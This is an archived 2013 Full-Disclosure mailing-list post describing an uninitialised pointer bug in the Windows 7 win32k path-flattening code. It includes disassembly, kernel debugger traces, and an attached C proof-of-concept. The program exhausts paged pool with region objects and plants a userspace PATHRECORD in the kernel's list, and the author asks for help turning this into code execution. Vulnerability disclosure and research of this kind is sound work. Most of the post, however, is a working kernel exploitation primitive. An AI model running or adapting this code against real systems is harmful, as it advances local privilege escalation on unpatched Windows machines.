OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
[Full-disclosure] exploitation ideas under memory pressure

From: Tavis Ormandy (tavisocmpxchg8b.com)
Date: Fri May 17 2013 - 16:26:10 CDT


List, there's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the
PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the
next list pointer. The bug is really nice, but exploitation when
allocations start failing is tricky.

As vuln-dev is dead, I thought I'd post here, I don't have much free
time to work on silly Microsoft code, so I'm looking for ideas on how to
fix the final obstacle for exploitation. I first published details about
this in March, but here's a recap:

; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this,
                                       PATHRECORD **pppr,
                                       ULONG *pcMax,
                                       ULONG cNeeded)
.text:BFA122CA mov esi, [ebp+ppr]
.text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev]
.text:BFA122D0 push edi
.text:BFA122D1 mov edi, [ebp+pprNew]
.text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax
.text:BFA122D7 lea eax, [edi+PATHRECORD.count]
.text:BFA122DA xor edx, edx
.text:BFA122DC mov [eax], edx
.text:BFA122DE mov ecx, [esi+PATHRECORD.flags]
.text:BFA122E1 and ecx, not (PD_BEZIER)
.text:BFA122E4 mov [edi+PATHRECORD.flags], ecx
.text:BFA122E7 mov [ebp+pprNewCountPtr], eax
.text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx
.text:BFA122ED jnz short loc_BFA122F7
.text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath]
.text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi

It turns out this mostly works because newpathrec() is backed by newpathalloc()
which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.

; PVOID __stdcall PALLOCMEM(size_t size, int tag)
.text:BF9160D7 xor esi, esi
.text:BF9160DE push esi
.text:BF9160DF push esi
.text:BF9160E0 push [ebp+tag]
.text:BF9160E3 push [ebp+size]
.text:BF9160E6 call _HeavyAllocPool16 ; HeavyAllocPool(x,x,x,x)
.text:BF9160EB mov esi, eax
.text:BF9160ED test esi, esi
.text:BF9160EF jz short loc_BF9160FF
.text:BF9160F1 push [ebp+size] ; size_t
.text:BF9160F4 push 0 ; int
.text:BF9160F6 push esi ; void *
.text:BF9160F7 call _memset

However, the PATHALLOC allocator includes it's own freelist implementation, and
if that codepath can satisfy a request the memory isn't zeroed and returned
directly to the caller. This effectively means that we can add our own objects
to the PATHRECORD chain.

We can force this behaviour under memory pressure relatively easily, I just
spam HRGN objects until they start failing. This isn't super reliable, but it's
good enough for testing.

        // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
        // failure. Seriously, do some damn QA Microsoft, wtf.
        for (Size = 1 << 26; Size; Size >>= 1) {
            while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
                ;
        }

Adding user controlled blocks to the freelist is a little trickier, but I've
found that flattening large lists of bezier curves added with PolyDraw() can
accomplish this reliably. The code to do this is something along the lines of:

        for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
            Points[PointNum].x = 0x41414141 >> 4;
            Points[PointNum].y = 0x41414141 >> 4;
            PointTypes[PointNum] = PT_BEZIERTO;
        }

        for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
            BeginPath(Device);
            PolyDraw(Device, Points, PointTypes, PointNum);
            EndPath(Device);
            FlattenPath(Device);
            FlattenPath(Device);
            EndPath(Device);
        }

We can verify this is working by putting a breakpoint after newpathrec, and
verifying the buffer is filled with recognisable values when it returns:

kd> u win32k!EPATHOBJ::pprFlattenRec+1E
win32k!EPATHOBJ::pprFlattenRec+0x1e:
95c922b8 e8acfbffff call win32k!EPATHOBJ::newpathrec (95c91e69)
95c922bd 83f801 cmp eax,1
95c922c0 7407 je win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9)
95c922c2 33c0 xor eax,eax
95c922c4 e944020000 jmp win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d)
95c922c9 56 push esi
95c922ca 8b7508 mov esi,dword ptr [ebp+8]
95c922cd 8b4604 mov eax,dword ptr [esi+4]
kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc"
kd> g
fe938fac 41414140
fe938fac 41414140
fe938fac 41414140
fe938fac 41414140
fe938fac 41414140

The breakpoint dumps the first dword of the returned buffer, which matches the
bezier points set with PolyDraw(). So convincing pprFlattenRec() to move
EPATHOBJ->records->head->next->next into userspace is no problem, and we can
easily break the list traversal in bFlattten():

BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
{
  EPATHOBJ *pathobj; // esi1
  PATHOBJ *ppath; // eax1
  BOOL result; // eax2
  PATHRECORD *ppr; // eax3

  pathobj = this;
  ppath = this->ppath;
  if ( ppath )
  {
    for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
    {
      if ( ppr->flags & PD_BEZIER )
      {
        ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
        if ( !ppr )
          goto LABEL_2;
      }
    }
    pathobj->fl &= 0xFFFFFFFE;
    result = 1;
  }
  else
  {
LABEL_2:
    result = 0;
  }
  return result;
}

All we have to do is allocate our own PATHRECORD structure, and then spam
PolyDraw() with POINTFIX structures containing co-ordinates that are actually
pointers shifted right by 4 (for this reason the structure must be aligned so
the bits shifted out are all zero).

We can see this in action by putting a breakpoint in bFlatten when ppr has
moved into userspace:

kd> u win32k!EPATHOBJ::bFlatten
win32k!EPATHOBJ::bFlatten:
95c92517 8bff mov edi,edi
95c92519 56 push esi
95c9251a 8bf1 mov esi,ecx
95c9251c 8b4608 mov eax,dword ptr [esi+8]
95c9251f 85c0 test eax,eax
95c92521 7504 jne win32k!EPATHOBJ::bFlatten+0x10 (95c92527)
95c92523 33c0 xor eax,eax
95c92525 5e pop esi
kd> u
win32k!EPATHOBJ::bFlatten+0xf:
95c92526 c3 ret
95c92527 8b4014 mov eax,dword ptr [eax+14h]
95c9252a eb14 jmp win32k!EPATHOBJ::bFlatten+0x29 (95c92540)
95c9252c f6400810 test byte ptr [eax+8],10h
95c92530 740c je win32k!EPATHOBJ::bFlatten+0x27 (95c9253e)
95c92532 50 push eax
95c92533 8bce mov ecx,esi
95c92535 e860fdffff call win32k!EPATHOBJ::pprFlattenRec (95c9229a)

So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS
flags (defined in winddi.h). Let's break if it's in userspace:

kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''"
kd> g
95c9252c f6400810 test byte ptr [eax+8],10h
kd> r
eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d
eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0 nv up ei pl nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
win32k!EPATHOBJ::bFlatten+0x15:
95c9252c f6400810 test byte ptr [eax+8],10h ds:0023:41414148=??

The question is how to turn that into code execution? It's obviously trivial to
call prFlattenRec with our userspace PATHRECORD..we can do that by setting
PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure
poses a problem.

Let me demonstrate calling it with my own PATHRECORD (this code is attached):

    // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
    // pathrecord chain.
    PathRecord = VirtualAlloc(NULL,
                              sizeof(PATHRECORD),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);

    // Initialise with recognisable debugging values.
    FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);

    PathRecord->next = (PVOID)(0x41414141);
    PathRecord->prev = (PVOID)(0x42424242);

    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
    // EPATHOBJ::bFlatten(), do that here.
    PathRecord->flags = PD_BEZIERS;

    // Generate a large number of Bezier Curves made up of pointers to our
    // PATHRECORD object.
    for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y = (ULONG)(PathRecord) >> 4;
        PointTypes[PointNum] = PT_BEZIERTO;
    }

kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'"
kd> g
win32k!EPATHOBJ::pprFlattenRec+0x28:
95c922c2 33c0 xor eax,eax
kd> dd ebp+8 L1
a3633be0 00130000

The ppr object is in userspace! If we peek at it:

kd> dd poi(ebp+8)
00130000 41414141 42424242 00000010 cccccccc
00130010 00000000 00000000 00000000 00000000
00130020 00000000 00000000 00000000 00000000
00130030 00000000 00000000 00000000 00000000
00130040 00000000 00000000 00000000 00000000
00130050 00000000 00000000 00000000 00000000
00130060 00000000 00000000 00000000 00000000
00130070 00000000 00000000 00000000 00000000

There's the next and prev pointer.

kd> kvn
 # ChildEBP RetAddr Args to Child
00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo])
01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4])
02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo])
03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame a3633c34)

The question is how to get PATHALLOC() to succeed under memory pressure so we
can make this exploitable, my first thought was have another thread
manipulating the free pool, but I can't figure out how to synchronize
that. Getting code execution should be trivial after this.

I guess it's possible to just race it until we win, but this seems like an
inelegant solution. Anyone have any ideas?

I've been testing under this kernel:

kd> vertarget
Windows 7 Kernel Version 7601 (Service Pack 1) MP (1 procs) Checked x86
compatible
Product: WinNt, suite: TerminalServer SingleUserTS
Built by: 7601.17514.x86chk.win7sp1_rtm.101119-1850
Machine Name:
Kernel base = 0x8280f000 PsLoadedModuleList = 0x82c55430
Debug session time: Fri May 17 14:14:24.723 2013 (UTC - 7:00)
System Uptime: 49 days 16:12:11.803 (checked kernels begin at 49 days)

I assume the same code exists in 8.

Tavis.

P.S. As far as I can tell, this code is pre-NT (20+ years) old, so
remember to thank the SDL for solving security and reminding us that old
code doesn't need to be reviewed ;-)

#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <stddef.h>
#include <winnt.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>

#pragma comment(lib, "gdi32")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")

#define MAX_POLYPOINTS (8192 * 3)
#define MAX_REGIONS 8192

//
// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.
//
// Tavis Ormandy <tavisocmpxchg8b.com>, March 2013
//

POINT Points[MAX_POLYPOINTS];
BYTE PointTypes[MAX_POLYPOINTS];
HRGN Regions[MAX_REGIONS];
ULONG NumRegion;

// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;

BOOL LogMessage(LEVEL Level, PCHAR Format, ...);

// Copied from winddi.h from the DDK
#define PD_BEGINSUBPATH 0x00000001
#define PD_ENDSUBPATH 0x00000002
#define PD_RESETSTYLE 0x00000004
#define PD_CLOSEFIGURE 0x00000008
#define PD_BEZIERS 0x00000010

typedef struct _POINTFIX
{
    ULONG x;
    ULONG y;
} POINTFIX, *PPOINTFIX;

// Approximated from reverse engineering.
typedef struct _PATHRECORD {
    struct _PATHRECORD *next;
    struct _PATHRECORD *prev;
    ULONG flags;
    ULONG count;
    POINTFIX points[0];
} PATHRECORD, *PPATHRECORD;

int main(int argc, char **argv)
{
    HDC Device;
    ULONG Size;
    HRGN Buffer;
    ULONG PointNum;
    ULONG Count;
    PPATHRECORD PathRecord;

    // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
    // pathrecord chain.
    PathRecord = VirtualAlloc(NULL,
                              sizeof(PATHRECORD),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);

    LogMessage(L_INFO, "alllocated userspace PATHRECORD%p", PathRecord);

    // Initialise with recognisable debugging values.
    FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);

    PathRecord->next = (PVOID)(0x41414141);
    PathRecord->prev = (PVOID)(0x42424242);

    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
    // EPATHOBJ::bFlatten(), do that here.
    //PathRecord->flags = PD_BEZIERS;
    PathRecord->flags = 0;

    LogMessage(L_INFO, " ->next %p", PathRecord->next);
    LogMessage(L_INFO, " ->prev %p", PathRecord->prev);

    LogMessage(L_INFO, "creating complex bezier path with %#X", (ULONG)(PathRecord) >> 4);

    // Generate a large number of Bezier Curves made up of pointers to our
    // PATHRECORD object.
    for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y = (ULONG)(PathRecord) >> 4;
        PointTypes[PointNum] = PT_BEZIERTO;
    }

    // Comment this line to continue after bFlatten().
    //VirtualFree(PathRecord, 0, MEM_RELEASE);

    // Switch to a dedicated desktop so we don't spam the visible desktop with
    // our Lines (Not required, just stops the screen from redrawing slowly).
    SetThreadDesktop(CreateDesktop("DontPanic",
                     NULL,
                     NULL,
                     0,
                     GENERIC_ALL,
                     NULL));

    while (TRUE) {
        // Get a handle to this Desktop.
        Device = GetDC(NULL);

        // We need to cause a specific AllocObject() to fail to trigger the
        // exploitable condition. To do this, I create a large number of rounded
        // rectangular regions until they start failing. I don't think it matters
        // what you use to exhaust paged memory, there is probably a better way.
        //
        // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
        // failure. Seriously, do some damn QA Microsoft, wtf.

        for (Size = 1 << 26; Size; Size >>= 1) {
            while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
                NumRegion++;
        }

        LogMessage(L_INFO, "allocated %u HRGN objects", NumRegion);

        LogMessage(L_INFO, "flattening curves...");

        // Begin filling the free list with our points.
        for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
            BeginPath(Device);
            PolyDraw(Device, Points, PointTypes, PointNum);
            EndPath(Device);
            FlattenPath(Device);
            FlattenPath(Device);
            EndPath(Device);
        }

        // Clean up the region objects.
        while (NumRegion--) {
            DeleteObject(Regions[NumRegion]);
        }

        LogMessage(L_INFO, "restarting...", PointNum);

        ReleaseDC(NULL, Device);
    }

    return 0;
}

// A quick logging routine for debug messages.
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
{
    CHAR Buffer[1024] = {0};
    va_list Args;

    va_start(Args, Format);
        vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
    va_end(Args);

    switch (Level) {
        case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
        case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break;
        case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break;
        case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break;
    }

    fflush(stdout);
    fflush(stderr);

    return TRUE;
}

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/